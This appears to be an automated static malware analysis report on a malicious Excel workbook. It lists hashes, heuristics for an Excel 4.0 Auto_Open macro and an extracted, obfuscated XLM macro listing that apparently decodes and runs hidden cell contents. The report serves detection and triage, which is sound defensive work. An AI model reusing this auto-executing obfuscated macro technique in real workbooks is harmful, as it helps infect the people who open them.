Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7e22fed6489754b5…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:43:56 Authoring application: Microsoft Excel First seen: 2021-02-23
MD5: 0ed71fd84c1e02205efbe02b9e606946 SHA-1: 0d383ef3e04e3a678fbd2ecfc6863d93027627b9 SHA-256: 7e22fed6489754b521766007eea105409884687927fbec0416151f40ce435a9b
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6599 bytes
SHA-256: c7d406f774d747dd7f2dcb943b945846e8d9bb06d0ed9de4e98c8f62bda37052
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  zKIG
' 0018     22 LABEL : Cell Value, String Constant - AmvFcFL len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I165 
' 0018     22 LABEL : Cell Value, String Constant - fsWcJHi len=0 
' 0018     24 LABEL : Cell Value, String Constant - izztuNfFZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - jtCayU len=0 
' 0018     25 LABEL : Cell Value, String Constant - jTfAJbPBeS len=0 
' 0018     25 LABEL : Cell Value, String Constant - KSehePjzxO len=0 
' 0018     25 LABEL : Cell Value, String Constant - lQvlTEssuS len=0 
' 0018     22 LABEL : Cell Value, String Constant - mpSEbIX len=0 
' 0018     20 LABEL : Cell Value, String Constant - nQwwf len=0 
' 0018     20 LABEL : Cell Value, String Constant - nrBYR len=0 
' 0018     23 LABEL : Cell Value, String Constant - nTxSvQBQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - OFntcgRwI len=0 
' 0018     20 LABEL : Cell Value, String Constant - pisoY len=0 
' 0018     21 LABEL : Cell Value, String Constant - SYtoZG len=0 
' 0018     27 LABEL : Cell Value, String Constant - UhUHIMVAbyzh len=0 
' 0018     24 LABEL : Cell Value, String Constant - UoEYSIokJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - VVlfrWjJxbEh len=0 
' 0018     24 LABEL : Cell Value, String Constant - VwflizlIN len=0 
' 0018     25 LABEL : Cell Value, String Constant - XKxxXSpaYs len=0 
' 0018     26 LABEL : Cell Value, String Constant - xzVovOGxHEG len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  zKIG,I77,"SET.NAME("izztuNfFZ",0+VALUE("0"))",""
'  zKIG,I80,"SET.NAME("OFntcgRwI",izztuNfFZ)",""
'  zKIG,I84,"SET.NAME("VwflizlIN",izztuNfFZ)",""
'  zKIG,I88,"SET.NAME("UhUHIMVAbyzh",COUNTA(xzVovOGxHEG))",""
'  zKIG,I93,"SET.NAME("nTxSvQBQ",COUNTA(UoEYSIokJ))",""
'  zKIG,I96,[],""
'  zKIG,I98,"SET.NAME("nrBYR","")",""
'  zKIG,Q99,"",-970.00000000000000000000
'  zKIG,I100,"OFntcgRwI",""
'  zKIG,Q100,"",-391.00000000000000000000
'  zKIG,Q101,"",618.00000000000000000000
'  zKIG,Q102,"",726.00000000000000000000
'  zKIG,I103,"SET.NAME("nQwwf",HLOOKUP("*",xzVovOGxHEG,OFntcgRwI,FALSE))",""
'  zKIG,Q103,"",916.00000000000000000000
'  zKIG,Q104,"",-306.00000000000000000000
'  zKIG,I105,"pisoY",""
'  zKIG,I110,"SET.NAME("KSehePjzxO",izztuNfFZ)",""
'  zKIG,I114,[],""
'  zKIG,I119,"KSehePjzxO",""
'  zKIG,I122,"jtCayU",""
'  zKIG,I126,"fsWcJHi",""
'  zKIG,I131,"XKxxXSpaYs",""
'  zKIG,I135,"SET.NAME("VVlfrWjJxbEh",VALUE(HLOOKUP("*",UoEYSIokJ,XKxxXSpaYs,FALSE)))",""
'  zKIG,I140,"AmvFcFL",""
'  zKIG,I142,"nrBYR",""
'  zKIG,I146,"VwflizlIN",""
'  zKIG,I149,NEXT(),""
'  zKIG,I151,"lQvlTEssuS",""
'  zKIG,I153,[],""
'  zKIG,I157,"SYtoZG",""
'  zKIG,I160,NEXT(),""
'  zKIG,I162,RETURN(),""
'  zKIG,I190,"SET.NAME("jTfAJbPBeS",I77)",""
'  zKIG,I195,"xzVovOGxHEG",""
'  zKIG,I199,"SET.NAME("UoEYSIokJ",R60C11)",""
'  zKIG,I201,"SET.NAME("SYtoZG",208)",""
'  zKIG,I204,"SET.NAME("mpSEbIX",9)",""
'  zKIG,I207,jTfAJbPBeS(),""
'  zKIG,I208,HALT(),""

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